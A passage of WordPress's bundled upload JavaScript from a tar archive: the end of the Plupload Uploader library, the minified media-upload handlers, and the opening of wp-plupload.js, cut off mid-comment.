matter if file is bigger than chunk or smaller if (chunkSize && features.chunks) { // Setup query string arguments if (up.settings.send_chunk_number) { args.chunk = Math.ceil(offset / chunkSize); args.chunks = Math.ceil(blob.size / chunkSize); } else { // keep support for experimental chunk format, just in case args.offset = offset; args.total = blob.size; } } xhr = new o.XMLHttpRequest(); // Do we have upload progress support if (xhr.upload) { xhr.upload.onprogress = function(e) { file.loaded = Math.min(file.size, offset + e.loaded); up.trigger('UploadProgress', file); }; } xhr.onload = function() { // check if upload made itself through if (xhr.status >= 400) { handleError(); return; } retries = up.settings.max_retries; // reset the counter // Handle chunk response if (curChunkSize < blob.size) { chunkBlob.destroy(); offset += curChunkSize; file.loaded = Math.min(offset, blob.size); up.trigger('ChunkUploaded', file, { offset : file.loaded, total : blob.size, response : xhr.responseText, status : xhr.status, responseHeaders: xhr.getAllResponseHeaders() }); // stock Android browser doesn't fire upload progress events, but in chunking mode we can fake them if (o.Env.browser === 'Android Browser') { // doesn't harm in general, but is not required anywhere else up.trigger('UploadProgress', file); } } else { file.loaded = file.size; } chunkBlob = formData = null; // Free memory // Check if file is uploaded if (!offset || offset >= blob.size) { // If file was modified, destory the copy if (file.size != file.origSize) { blob.destroy(); blob = null; } up.trigger('UploadProgress', file); file.status = plupload.DONE; up.trigger('FileUploaded', file, { response : xhr.responseText, status : xhr.status, responseHeaders: xhr.getAllResponseHeaders() }); } else { // Still chunks left delay(uploadNextChunk, 1); // run detached, otherwise event handlers interfere } }; xhr.onerror = function() { handleError(); }; xhr.onloadend = function() { this.destroy(); xhr = null; }; // Build multipart request if (up.settings.multipart && features.multipart) { xhr.open("post", url, true); // Set custom headers plupload.each(up.settings.headers, function(value, name) { xhr.setRequestHeader(name, value); }); formData = new o.FormData(); // Add multipart params plupload.each(plupload.extend(args, up.settings.multipart_params), function(value, name) { formData.append(name, value); }); // Add file and send it formData.append(up.settings.file_data_name, chunkBlob); xhr.send(formData, { runtime_order: up.settings.runtimes, required_caps: up.settings.required_features, preferred_caps: preferred_caps }); } else { // if no multipart, send as binary stream url = plupload.buildUrl(up.settings.url, plupload.extend(args, up.settings.multipart_params)); xhr.open("post", url, true); xhr.setRequestHeader('Content-Type', 'application/octet-stream'); // Binary stream header // Set custom headers plupload.each(up.settings.headers, function(value, name) { xhr.setRequestHeader(name, value); }); xhr.send(chunkBlob, { runtime_order: up.settings.runtimes, required_caps: up.settings.required_features, preferred_caps: preferred_caps }); } } blob = file.getSource(); // Start uploading chunks if (up.settings.resize.enabled && runtimeCan(blob, 'send_binary_string') && !!~o.inArray(blob.type, ['image/jpeg', 'image/png'])) { // Resize if required resizeImage.call(this, blob, up.settings.resize, function(resizedBlob) { blob = resizedBlob; file.size = resizedBlob.size; uploadNextChunk(); }); } else { uploadNextChunk(); } } function onUploadProgress(up, file) { calcFile(file); } function onStateChanged(up) { if (up.state == plupload.STARTED) { // Get start time to calculate bps startTime = (+new Date()); } else if (up.state == plupload.STOPPED) { // Reset currently uploading files for (var i = up.files.length - 1; i >= 0; i--) { if (up.files[i].status == plupload.UPLOADING) { up.files[i].status = plupload.QUEUED; calc(); } } } } function onCancelUpload() { if (xhr) { xhr.abort(); } } function onFileUploaded(up) { calc(); // Upload next file but detach it from the error event // since other custom listeners might want to stop the queue delay(function() { uploadNext.call(up); }, 1); } function onError(up, err) { if (err.code === plupload.INIT_ERROR) { up.destroy(); } // Set failed status if an error occured on a file else if (err.code === plupload.HTTP_ERROR) { err.file.status = plupload.FAILED; calcFile(err.file); // Upload next file but detach it from the error event // since other custom listeners might want to stop the queue if (up.state == plupload.STARTED) { // upload in progress up.trigger('CancelUpload'); delay(function() { uploadNext.call(up); }, 1); } } } function onDestroy(up) { up.stop(); // Purge the queue plupload.each(files, function(file) { file.destroy(); }); files = []; if (fileInputs.length) { plupload.each(fileInputs, function(fileInput) { fileInput.destroy(); }); fileInputs = []; } if (fileDrops.length) { plupload.each(fileDrops, function(fileDrop) { fileDrop.destroy(); }); fileDrops = []; } preferred_caps = {}; disabled = false; startTime = xhr = null; total.reset(); } // Default settings settings = { runtimes: o.Runtime.order, max_retries: 0, chunk_size: 0, multipart: true, multi_selection: true, file_data_name: 'file', filters: { mime_types: [], prevent_duplicates: false, max_file_size: 0 }, resize: { enabled: false, preserve_headers: true, crop: false }, send_file_name: true, send_chunk_number: true }; setOption.call(this, options, null, true); // Inital total state total = new plupload.QueueProgress(); // Add public methods plupload.extend(this, { /** * Unique id for the Uploader instance. * * @property id * @type String */ id : uid, uid : uid, // mOxie uses this to differentiate between event targets /** * Current state of the total uploading progress. This one can either be plupload.STARTED or plupload.STOPPED. * These states are controlled by the stop/start methods. The default value is STOPPED. * * @property state * @type Number */ state : plupload.STOPPED, /** * Map of features that are available for the uploader runtime. Features will be filled * before the init event is called, these features can then be used to alter the UI for the end user. * Some of the current features that might be in this map is: dragdrop, chunks, jpgresize, pngresize. * * @property features * @type Object */ features : {}, /** * Current runtime name. * * @property runtime * @type String */ runtime : null, /** * Current upload queue, an array of File instances. * * @property files * @type Array * @see plupload.File */ files : files, /** * Object with name/value settings. * * @property settings * @type Object */ settings : settings, /** * Total progess information. How many files has been uploaded, total percent etc. * * @property total * @type plupload.QueueProgress */ total : total, /** * Initializes the Uploader instance and adds internal event listeners. * * @method init */ init : function() { var self = this, opt, preinitOpt, err; preinitOpt = self.getOption('preinit'); if (typeof(preinitOpt) == "function") { preinitOpt(self); } else { plupload.each(preinitOpt, function(func, name) { self.bind(name, func); }); } bindEventListeners.call(self); // Check for required options plupload.each(['container', 'browse_button', 'drop_element'], function(el) { if (self.getOption(el) === null) { err = { code : plupload.INIT_ERROR, message : plupload.translate("'%' specified, but cannot be found.") } return false; } }); if (err) { return self.trigger('Error', err); } if (!settings.browse_button && !settings.drop_element) { return self.trigger('Error', { code : plupload.INIT_ERROR, message : plupload.translate("You must specify either 'browse_button' or 'drop_element'.") }); } initControls.call(self, settings, function(inited) { var initOpt = self.getOption('init'); if (typeof(initOpt) == "function") { initOpt(self); } else { plupload.each(initOpt, function(func, name) { self.bind(name, func); }); } if (inited) { self.runtime = o.Runtime.getInfo(getRUID()).type; self.trigger('Init', { runtime: self.runtime }); self.trigger('PostInit'); } else { self.trigger('Error', { code : plupload.INIT_ERROR, message : plupload.translate('Init error.') }); } }); }, /** * Set the value for the specified option(s). * * @method setOption * @since 2.1 * @param {String|Object} option Name of the option to change or the set of key/value pairs * @param {Mixed} [value] Value for the option (is ignored, if first argument is object) */ setOption: function(option, value) { setOption.call(this, option, value, !this.runtime); // until runtime not set we do not need to reinitialize }, /** * Get the value for the specified option or the whole configuration, if not specified. * * @method getOption * @since 2.1 * @param {String} [option] Name of the option to get * @return {Mixed} Value for the option or the whole set */ getOption: function(option) { if (!option) { return settings; } return settings[option]; }, /** * Refreshes the upload instance by dispatching out a refresh event to all runtimes. * This would for example reposition flash/silverlight shims on the page. * * @method refresh */ refresh : function() { if (fileInputs.length) { plupload.each(fileInputs, function(fileInput) { fileInput.trigger('Refresh'); }); } this.trigger('Refresh'); }, /** * Starts uploading the queued files. * * @method start */ start : function() { if (this.state != plupload.STARTED) { this.state = plupload.STARTED; this.trigger('StateChanged'); uploadNext.call(this); } }, /** * Stops the upload of the queued files. * * @method stop */ stop : function() { if (this.state != plupload.STOPPED) { this.state = plupload.STOPPED; this.trigger('StateChanged'); this.trigger('CancelUpload'); } }, /** * Disables/enables browse button on request. * * @method disableBrowse * @param {Boolean} disable Whether to disable or enable (default: true) */ disableBrowse : function() { disabled = arguments[0] !== undef ? arguments[0] : true; if (fileInputs.length) { plupload.each(fileInputs, function(fileInput) { fileInput.disable(disabled); }); } this.trigger('DisableBrowse', disabled); }, /** * Returns the specified file object by id. * * @method getFile * @param {String} id File id to look for. * @return {plupload.File} File object or undefined if it wasn't found; */ getFile : function(id) { var i; for (i = files.length - 1; i >= 0; i--) { if (files[i].id === id) { return files[i]; } } }, /** * Adds file to the queue programmatically. Can be native file, instance of Plupload.File, * instance of mOxie.File, input[type="file"] element, or array of these. Fires FilesAdded, * if any files were added to the queue. Otherwise nothing happens. * * @method addFile * @since 2.0 * @param {plupload.File|mOxie.File|File|Node|Array} file File or files to add to the queue. * @param {String} [fileName] If specified, will be used as a name for the file */ addFile : function(file, fileName) { var self = this , queue = [] , filesAdded = [] , ruid ; function filterFile(file, cb) { var queue = []; o.each(self.settings.filters, function(rule, name) { if (fileFilters[name]) { queue.push(function(cb) { fileFilters[name].call(self, rule, file, function(res) { cb(!res); }); }); } }); o.inSeries(queue, cb); } /** * @method resolveFile * @private * @param {o.File|o.Blob|plupload.File|File|Blob|input[type="file"]} file */ function resolveFile(file) { var type = o.typeOf(file); // o.File if (file instanceof o.File) { if (!file.ruid && !file.isDetached()) { if (!ruid) { // weird case return false; } file.ruid = ruid; file.connectRuntime(ruid); } resolveFile(new plupload.File(file)); } // o.Blob else if (file instanceof o.Blob) { resolveFile(file.getSource()); file.destroy(); } // plupload.File - final step for other branches else if (file instanceof plupload.File) { if (fileName) { file.name = fileName; } queue.push(function(cb) { // run through the internal and user-defined filters, if any filterFile(file, function(err) { if (!err) { // make files available for the filters by updating the main queue directly files.push(file); // collect the files that will be passed to FilesAdded event filesAdded.push(file); self.trigger("FileFiltered", file); } delay(cb, 1); // do not build up recursions or eventually we might hit the limits }); }); } // native File or blob else if (o.inArray(type, ['file', 'blob']) !== -1) { resolveFile(new o.File(null, file)); } // input[type="file"] else if (type === 'node' && o.typeOf(file.files) === 'filelist') { // if we are dealing with input[type="file"] o.each(file.files, resolveFile); } // mixed array of any supported types (see above) else if (type === 'array') { fileName = null; // should never happen, but unset anyway to avoid funny situations o.each(file, resolveFile); } } ruid = getRUID(); resolveFile(file); if (queue.length) { o.inSeries(queue, function() { // if any files left after filtration, trigger FilesAdded if (filesAdded.length) { self.trigger("FilesAdded", filesAdded); } }); } }, /** * Removes a specific file. * * @method removeFile * @param {plupload.File|String} file File to remove from queue. */ removeFile : function(file) { var id = typeof(file) === 'string' ? file : file.id; for (var i = files.length - 1; i >= 0; i--) { if (files[i].id === id) { return this.splice(i, 1)[0]; } } }, /** * Removes part of the queue and returns the files removed. This will also trigger the FilesRemoved and QueueChanged events. * * @method splice * @param {Number} start (Optional) Start index to remove from. * @param {Number} length (Optional) Lengh of items to remove. * @return {Array} Array of files that was removed. */ splice : function(start, length) { // Splice and trigger events var removed = files.splice(start === undef ? 0 : start, length === undef ? files.length : length); // if upload is in progress we need to stop it and restart after files are removed var restartRequired = false; if (this.state == plupload.STARTED) { // upload in progress plupload.each(removed, function(file) { if (file.status === plupload.UPLOADING) { restartRequired = true; // do not restart, unless file that is being removed is uploading return false; } }); if (restartRequired) { this.stop(); } } this.trigger("FilesRemoved", removed); // Dispose any resources allocated by those files plupload.each(removed, function(file) { file.destroy(); }); if (restartRequired) { this.start(); } return removed; }, /** Dispatches the specified event name and its arguments to all listeners. @method trigger @param {String} name Event name to fire. @param {Object..} Multiple arguments to pass along to the listener functions. */ // override the parent method to match Plupload-like event logic dispatchEvent: function(type) { var list, args, result; type = type.toLowerCase(); list = this.hasEventListener(type); if (list) { // sort event list by priority list.sort(function(a, b) { return b.priority - a.priority; }); // first argument should be current plupload.Uploader instance args = [].slice.call(arguments); args.shift(); args.unshift(this); for (var i = 0; i < list.length; i++) { // Fire event, break chain if false is returned if (list[i].fn.apply(list[i].scope, args) === false) { return false; } } } return true; }, /** Check whether uploader has any listeners to the specified event. @method hasEventListener @param {String} name Event name to check for. */ /** Adds an event listener by name. @method bind @param {String} name Event name to listen for. @param {function} fn Function to call ones the event gets fired. @param {Object} [scope] Optional scope to execute the specified function in. @param {Number} [priority=0] Priority of the event handler - handlers with higher priorities will be called first */ bind: function(name, fn, scope, priority) { // adapt moxie EventTarget style to Plupload-like plupload.Uploader.prototype.bind.call(this, name, fn, priority, scope); }, /** Removes the specified event listener. @method unbind @param {String} name Name of event to remove. @param {function} fn Function to remove from listener. */ /** Removes all event listeners. @method unbindAll */ /** * Destroys Plupload instance and cleans after itself. * * @method destroy */ destroy : function() { this.trigger('Destroy'); settings = total = null; // purge these exclusively this.unbindAll(); } }); }; plupload.Uploader.prototype = o.EventTarget.instance; /** * Constructs a new file instance. * * @class File * @constructor * * @param {Object} file Object containing file properties * @param {String} file.name Name of the file. * @param {Number} file.size File size. */ plupload.File = (function() { var filepool = {}; function PluploadFile(file) { plupload.extend(this, { /** * File id this is a globally unique id for the specific file. * * @property id * @type String */ id: plupload.guid(), /** * File name for example "myfile.gif". * * @property name * @type String */ name: file.name || file.fileName, /** * File type, `e.g image/jpeg` * * @property type * @type String */ type: file.type || '', /** * File size in bytes (may change after client-side manupilation). * * @property size * @type Number */ size: file.size || file.fileSize, /** * Original file size in bytes. * * @property origSize * @type Number */ origSize: file.size || file.fileSize, /** * Number of bytes uploaded of the files total size. * * @property loaded * @type Number */ loaded: 0, /** * Number of percentage uploaded of the file. * * @property percent * @type Number */ percent: 0, /** * Status constant matching the plupload states QUEUED, UPLOADING, FAILED, DONE. * * @property status * @type Number * @see plupload */ status: plupload.QUEUED, /** * Date of last modification. * * @property lastModifiedDate * @type {String} */ lastModifiedDate: file.lastModifiedDate || (new Date()).toLocaleString(), // Thu Aug 23 2012 19:40:00 GMT+0400 (GET) /** * Returns native window.File object, when it's available. * * @method getNative * @return {window.File} or null, if plupload.File is of different origin */ getNative: function() { var file = this.getSource().getSource(); return o.inArray(o.typeOf(file), ['blob', 'file']) !== -1 ? file : null; }, /** * Returns mOxie.File - unified wrapper object that can be used across runtimes. * * @method getSource * @return {mOxie.File} or null */ getSource: function() { if (!filepool[this.id]) { return null; } return filepool[this.id]; }, /** * Destroys plupload.File object. * * @method destroy */ destroy: function() { var src = this.getSource(); if (src) { src.destroy(); delete filepool[this.id]; } } }); filepool[this.id] = file; } return PluploadFile; }()); /** * Constructs a queue progress. * * @class QueueProgress * @constructor */ plupload.QueueProgress = function() { var self = this; // Setup alias for self to reduce code size when it's compressed /** * Total queue file size. * * @property size * @type Number */ self.size = 0; /** * Total bytes uploaded. * * @property loaded * @type Number */ self.loaded = 0; /** * Number of files uploaded. * * @property uploaded * @type Number */ self.uploaded = 0; /** * Number of files failed to upload. * * @property failed * @type Number */ self.failed = 0; /** * Number of files yet to be uploaded. * * @property queued * @type Number */ self.queued = 0; /** * Total percent of the uploaded bytes. * * @property percent * @type Number */ self.percent = 0; /** * Bytes uploaded per second. * * @property bytesPerSec * @type Number */ self.bytesPerSec = 0; /** * Resets the progress to its initial values. * * @method reset */ self.reset = function() { self.size = self.loaded = self.uploaded = self.failed = self.queued = self.percent = self.bytesPerSec = 0; }; }; window.plupload = plupload; }(window, mOxie)); ������������������������������������������������������������������������������������������������������js/plupload/handlers.min.js�������������������������������������������������������������������������0000644�����������������00000027173�14717703502�0011740 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������var uploader,uploader_init,topWin=window.dialogArguments||opener||parent||top;function fileQueued(e){jQuery(".media-blank").remove();var a=jQuery("#media-items").children(),r=post_id||0;1==a.length&&a.removeClass("open").find(".slidetoggle").slideUp(200),jQuery('<div class="media-item">').attr("id","media-item-"+e.id).addClass("child-of-"+r).append('<div class="progress"><div class="percent">0%</div><div class="bar"></div></div>',jQuery('<div class="filename original">').text(" "+e.name)).appendTo(jQuery("#media-items")),jQuery("#insert-gallery").prop("disabled",!0)}function uploadStart(){try{void 0!==topWin.tb_remove&&topWin.jQuery("#TB_overlay").unbind("click",topWin.tb_remove)}catch(e){}return!0}function uploadProgress(e,a){var r=jQuery("#media-item-"+a.id);jQuery(".bar",r).width(200*a.loaded/a.size),jQuery(".percent",r).html(a.percent+"%")}function fileUploading(e,a){var r=104857600;r<parseInt(e.settings.max_file_size,10)&&a.size>r&&setTimeout(function(){a.status<3&&0===a.loaded&&(wpFileError(a,pluploadL10n.big_upload_failed.replace("%1$s",'<a class="uploader-html" href="#">').replace("%2$s","</a>")),e.stop(),e.removeFile(a),e.start())},1e4)}function updateMediaForm(){var e=jQuery("#media-items").children();1==e.length?(e.addClass("open").find(".slidetoggle").show(),jQuery(".insert-gallery").hide()):1<e.length&&(e.removeClass("open"),jQuery(".insert-gallery").show()),0<e.not(".media-blank").length?jQuery(".savebutton").show():jQuery(".savebutton").hide()}function uploadSuccess(e,a){var r=jQuery("#media-item-"+e.id);"string"==typeof a&&(a=a.replace(/^<pre>(\d+)<\/pre>$/,"$1"),/media-upload-error|error-div/.test(a))?r.html(a):(r.find(".percent").html(pluploadL10n.crunching),prepareMediaItem(e,a),updateMediaForm(),post_id&&r.hasClass("child-of-"+post_id)&&jQuery("#attachments-count").text(+jQuery("#attachments-count").text()+1))}function setResize(e){e?window.resize_width&&window.resize_height?uploader.settings.resize={enabled:!0,width:window.resize_width,height:window.resize_height,quality:100}:uploader.settings.multipart_params.image_resize=!0:delete uploader.settings.multipart_params.image_resize}function prepareMediaItem(e,a){var r="undefined"==typeof shortform?1:2,i=jQuery("#media-item-"+e.id);2==r&&2<shortform&&(r=shortform);try{void 0!==topWin.tb_remove&&topWin.jQuery("#TB_overlay").click(topWin.tb_remove)}catch(e){}isNaN(a)||!a?(i.append(a),prepareMediaItemInit(e)):i.load("async-upload.php",{attachment_id:a,fetch:r},function(){prepareMediaItemInit(e),updateMediaForm()})}function prepareMediaItemInit(r){var e=jQuery("#media-item-"+r.id);jQuery(".thumbnail",e).clone().attr("class","pinkynail toggle").prependTo(e),jQuery(".filename.original",e).replaceWith(jQuery(".filename.new",e)),jQuery("a.delete",e).on("click",function(){return jQuery.ajax({url:ajaxurl,type:"post",success:deleteSuccess,error:deleteError,id:r.id,data:{id:this.id.replace(/[^0-9]/g,""),action:"trash-post",_ajax_nonce:this.href.replace(/^.*wpnonce=/,"")}}),!1}),jQuery("a.undo",e).on("click",function(){return jQuery.ajax({url:ajaxurl,type:"post",id:r.id,data:{id:this.id.replace(/[^0-9]/g,""),action:"untrash-post",_ajax_nonce:this.href.replace(/^.*wpnonce=/,"")},success:function(){var e,a=jQuery("#media-item-"+r.id);(e=jQuery("#type-of-"+r.id).val())&&jQuery("#"+e+"-counter").text(+jQuery("#"+e+"-counter").text()+1),post_id&&a.hasClass("child-of-"+post_id)&&jQuery("#attachments-count").text(+jQuery("#attachments-count").text()+1),jQuery(".filename .trashnotice",a).remove(),jQuery(".filename .title",a).css("font-weight","normal"),jQuery("a.undo",a).addClass("hidden"),jQuery(".menu_order_input",a).show(),a.css({backgroundColor:"#ceb"}).animate({backgroundColor:"#fff"},{queue:!1,duration:500,complete:function(){jQuery(this).css({backgroundColor:""})}}).removeClass("undo")}}),!1}),jQuery("#media-item-"+r.id+".startopen").removeClass("startopen").addClass("open").find("slidetoggle").fadeIn()}function wpQueueError(e){jQuery("#media-upload-error").show().html('<div class="error"><p>'+e+"</p></div>")}function wpFileError(e,a){itemAjaxError(e.id,a)}function itemAjaxError(e,a){var r=jQuery("#media-item-"+e),i=r.find(".filename").text();r.data("last-err")!=e&&r.html('<div class="error-div"><a class="dismiss" href="#">'+pluploadL10n.dismiss+"</a><strong>"+pluploadL10n.error_uploading.replace("%s",jQuery.trim(i))+"</strong> "+a+"</div>").data("last-err",e)}function deleteSuccess(e){var a;return"-1"==e?itemAjaxError(this.id,"You do not have permission. Has your session expired?"):"0"==e?itemAjaxError(this.id,"Could not be deleted. Has it been deleted already?"):(e=this.id,a=jQuery("#media-item-"+e),(e=jQuery("#type-of-"+e).val())&&jQuery("#"+e+"-counter").text(jQuery("#"+e+"-counter").text()-1),post_id&&a.hasClass("child-of-"+post_id)&&jQuery("#attachments-count").text(jQuery("#attachments-count").text()-1),1==jQuery("form.type-form #media-items").children().length&&0<jQuery(".hidden","#media-items").length&&(jQuery(".toggle").toggle(),jQuery(".slidetoggle").slideUp(200).siblings().removeClass("hidden")),jQuery(".toggle",a).toggle(),jQuery(".slidetoggle",a).slideUp(200).siblings().removeClass("hidden"),a.css({backgroundColor:"#faa"}).animate({backgroundColor:"#f4f4f4"},{queue:!1,duration:500}).addClass("undo"),jQuery(".filename:empty",a).remove(),jQuery(".filename .title",a).css("font-weight","bold"),jQuery(".filename",a).append('<span class="trashnotice"> '+pluploadL10n.deleted+" </span>").siblings("a.toggle").hide(),jQuery(".filename",a).append(jQuery("a.undo",a).removeClass("hidden")),void jQuery(".menu_order_input",a).hide())}function deleteError(){}function uploadComplete(){jQuery("#insert-gallery").prop("disabled",!1)}function switchUploader(e){e?(deleteUserSetting("uploader"),jQuery(".media-upload-form").removeClass("html-uploader"),"object"==typeof uploader&&uploader.refresh()):(setUserSetting("uploader","1"),jQuery(".media-upload-form").addClass("html-uploader"))}function uploadError(e,a,r,i){var t=104857600;switch(a){case plupload.FAILED:wpFileError(e,pluploadL10n.upload_failed);break;case plupload.FILE_EXTENSION_ERROR:wpFileExtensionError(i,e,pluploadL10n.invalid_filetype);break;case plupload.FILE_SIZE_ERROR:uploadSizeError(i,e);break;case plupload.IMAGE_FORMAT_ERROR:wpFileError(e,pluploadL10n.not_an_image);break;case plupload.IMAGE_MEMORY_ERROR:wpFileError(e,pluploadL10n.image_memory_exceeded);break;case plupload.IMAGE_DIMENSIONS_ERROR:wpFileError(e,pluploadL10n.image_dimensions_exceeded);break;case plupload.GENERIC_ERROR:wpQueueError(pluploadL10n.upload_failed);break;case plupload.IO_ERROR:t<parseInt(i.settings.filters.max_file_size,10)&&e.size>t?wpFileError(e,pluploadL10n.big_upload_failed.replace("%1$s",'<a class="uploader-html" href="#">').replace("%2$s","</a>")):wpQueueError(pluploadL10n.io_error);break;case plupload.HTTP_ERROR:wpQueueError(pluploadL10n.http_error);break;case plupload.INIT_ERROR:jQuery(".media-upload-form").addClass("html-uploader");break;case plupload.SECURITY_ERROR:wpQueueError(pluploadL10n.security_error);break;default:wpFileError(e,pluploadL10n.default_error)}}function uploadSizeError(e,a){var r=pluploadL10n.file_exceeds_size_limit.replace("%s",a.name),r=jQuery("<div />").attr({id:"media-item-"+a.id,class:"media-item error"}).append(jQuery("<p />").text(r));jQuery("#media-items").append(r),e.removeFile(a)}function wpFileExtensionError(e,a,r){jQuery("#media-items").append('<div id="media-item-'+a.id+'" class="media-item error"><p>'+r+"</p></div>"),e.removeFile(a)}function copyAttachmentUploadURLClipboard(){var i;new ClipboardJS(".copy-attachment-url").on("success",function(e){var a=jQuery(e.trigger),r=jQuery(".success",a.closest(".copy-to-clipboard-container"));e.clearSelection(),a.trigger("focus"),clearTimeout(i),r.removeClass("hidden"),i=setTimeout(function(){r.addClass("hidden")},3e3),wp.a11y.speak(pluploadL10n.file_url_copied)})}jQuery(document).ready(function(o){copyAttachmentUploadURLClipboard();var d,l={};o(".media-upload-form").bind("click.uploader",function(e){var a,r=o(e.target);r.is('input[type="radio"]')?(a=r.closest("tr")).hasClass("align")?setUserSetting("align",r.val()):a.hasClass("image-size")&&setUserSetting("imgsize",r.val()):r.is("button.button")?(a=(a=e.target.className||"").match(/url([^ '"]+)/))&&a[1]&&(setUserSetting("urlbutton",a[1]),r.siblings(".urlfield").val(r.data("link-url"))):r.is("a.dismiss")?r.parents(".media-item").fadeOut(200,function(){o(this).remove()}):r.is(".upload-flash-bypass a")||r.is("a.uploader-html")?(o("#media-items, p.submit, span.big-file-warning").css("display","none"),switchUploader(0),e.preventDefault()):r.is(".upload-html-bypass a")?(o("#media-items, p.submit, span.big-file-warning").css("display",""),switchUploader(1),e.preventDefault()):r.is("a.describe-toggle-on")?(r.parent().addClass("open"),r.siblings(".slidetoggle").fadeIn(250,function(){var e=o(window).scrollTop(),a=o(window).height(),r=o(this).offset().top,i=o(this).height();a&&r&&i&&(a=e+a)<(i=r+i)&&(i-a<r-e?window.scrollBy(0,i-a+10):window.scrollBy(0,r-e-40))}),e.preventDefault()):r.is("a.describe-toggle-off")&&(r.siblings(".slidetoggle").fadeOut(250,function(){r.parent().removeClass("open")}),e.preventDefault())}),d=function(a,r){var e,i,t=r.file;if(r&&r.responseHeaders)if((i=r.responseHeaders.match(/x-wp-upload-attachment-id:\s*(\d+)/i))&&i[1]){if(i=i[1],(e=l[t.id])&&4<e)return o.ajax({type:"post",url:ajaxurl,dataType:"json",data:{action:"media-create-image-subsizes",_wpnonce:wpUploaderInit.multipart_params._wpnonce,attachment_id:i,_wp_upload_failed_cleanup:!0}}),void(r.message&&(r.status<500||600<=r.status)?wpQueueError(r.message):wpQueueError(pluploadL10n.http_error_image));l[t.id]=e?++e:1,o.ajax({type:"post",url:ajaxurl,dataType:"json",data:{action:"media-create-image-subsizes",_wpnonce:wpUploaderInit.multipart_params._wpnonce,attachment_id:i,_legacy_support:"true"}}).done(function(e){var a;e.success?uploadSuccess(t,e.data.id):wpQueueError((a=e.data&&e.data.message?e.data.message:a)||pluploadL10n.http_error_image)}).fail(function(e){500<=e.status&&e.status<600?d(a,r):wpQueueError(pluploadL10n.http_error_image)})}else wpQueueError(pluploadL10n.http_error_image);else wpQueueError(pluploadL10n.http_error_image)},uploader_init=function(){uploader=new plupload.Uploader(wpUploaderInit),o("#image_resize").bind("change",function(){var e=o(this).prop("checked");setResize(e),e?setUserSetting("upload_resize","1"):deleteUserSetting("upload_resize")}),uploader.bind("Init",function(e){var a=o("#plupload-upload-ui");setResize(getUserSetting("upload_resize",!1)),e.features.dragdrop&&!o(document.body).hasClass("mobile")?(a.addClass("drag-drop"),o("#drag-drop-area").on("dragover.wp-uploader",function(){a.addClass("drag-over")}).on("dragleave.wp-uploader, drop.wp-uploader",function(){a.removeClass("drag-over")})):(a.removeClass("drag-drop"),o("#drag-drop-area").off(".wp-uploader")),"html4"===e.runtime&&o(".upload-flash-bypass").hide()}),uploader.bind("postinit",function(e){e.refresh()}),uploader.init(),uploader.bind("FilesAdded",function(a,e){o("#media-upload-error").empty(),uploadStart(),plupload.each(e,function(e){if("image/heic"===e.type&&a.settings.heic_upload_error)wpQueueError(pluploadL10n.unsupported_image);else if("image/webp"===e.type&&a.settings.webp_upload_error)return wpQueueError(pluploadL10n.noneditable_image),void a.removeFile(e);fileQueued(e)}),a.refresh(),a.start()}),uploader.bind("UploadFile",function(e,a){fileUploading(e,a)}),uploader.bind("UploadProgress",function(e,a){uploadProgress(e,a)}),uploader.bind("Error",function(e,a){var r=a.file&&a.file.type&&0===a.file.type.indexOf("image/"),i=a&&a.status;r&&500<=i&&i<600?d(e,a):(uploadError(a.file,a.code,a.message,e),e.refresh())}),uploader.bind("FileUploaded",function(e,a,r){uploadSuccess(a,r.response)}),uploader.bind("UploadComplete",function(){uploadComplete()})},"object"==typeof wpUploaderInit&&uploader_init()});�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/plupload/wp-plupload.js��������������������������������������������������������������������������0000644�����������������00000040072�14717703502�0011613 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* global pluploadL10n, plupload, _wpPluploadSettings */ /** * @namespace wp */ window.wp = window.wp || {}; ( function( exports, $ ) { var Uploader; if ( typeof _wpPluploadSettings === 'undefined' ) { return; } /** * A WordPress uploader. * * The Plupload library provides cross-browser uploader UI integration. * This object bridges the Plupload API to integrate uploads into the * WordPress back end and the WordPress media experience. * * @class * @memberOf wp * @alias wp.Uploader * * @param {object} options The options passed to the new plupload instance. * @param {object} options.container The id of uploader container. * @param {object} options.browser The id of button to trigger the file select. * @param {object} options.dropzone The id of file drop target. * @param {object} options.plupload An object of parameters to pass to the plupload instance. * @param {object} options.params An object of parameters to pass to $_POST when uploading the file. * Extends this.plupload.multipart_params under the hood. */ Uploader = function( options ) { var self = this, isIE, // Not used, back-compat. elements = { container: 'container', browser: 'browse_button', dropzone: 'drop_element' }, tryAgainCount = {}, tryAgain, key, error, fileUploaded; this.supports = { upload: Uploader.browser.supported }; this.supported = this.supports.upload; if ( ! this.supported ) { return; } // Arguments to send to pluplad.Uploader(). // Use deep extend to ensure that multipart_params and other objects are cloned. this.plupload = $.extend( true, { multipart_params: {} }, Uploader.defaults ); this.container = document.body; // Set default container. /* * Extend the instance with options. * * Use deep extend to allow options.plupload to override individual * default plupload keys. */ $.extend( true, this, options ); // Proxy all methods so this always refers to the current instance. for ( key in this ) { if ( typeof this[ key ] === 'function' ) { this[ key ] = $.proxy( this[ key ], this ); } } // Ensure all elements are jQuery elements and have id attributes, // then set the proper plupload arguments to the ids. for ( key in elements ) { if ( ! this[ key ] ) { continue; } this[ key ] = $( this[ key ] ).first(); if ( ! this[ key ].length ) { delete this[ key ]; continue; } if ( ! this[ key ].prop('id') ) { this[ key ].prop( 'id', '__wp-uploader-id-' + Uploader.uuid++ ); } this.plupload[ elements[ key ] ] = this[ key ].prop('id'); } // If the uploader has neither a browse button nor a dropzone, bail. if ( ! ( this.browser && this.browser.length ) && ! ( this.dropzone && this.dropzone.length ) ) { return; } // Initialize the plupload instance. this.uploader = new plupload.Uploader( this.plupload ); delete this.plupload; // Set default params and remove this.params alias. this.param( this.params || {} ); delete this.params; /** * Attempt to create image sub-sizes when an image was uploaded successfully * but the server responded with HTTP 5xx error. * * @since 5.3.0 * * @param {string} message Error message. * @param {object} data Error data from Plupload. * @param {plupload.File} file File that was uploaded. */ tryAgain = function( message, data, file ) { var times, id; if ( ! data || ! data.responseHeaders ) { error( pluploadL10n.http_error_image, data, file, 'no-retry' ); return; } id = data.responseHeaders.match( /x-wp-upload-attachment-id:\s*(\d+)/i ); if ( id && id[1] ) { id = id[1]; } else { error( pluploadL10n.http_error_image, data, file, 'no-retry' ); return; } times = tryAgainCount[ file.id ]; if ( times && times > 4 ) { /* * The file may have been uploaded and attachment post created, * but post-processing and resizing 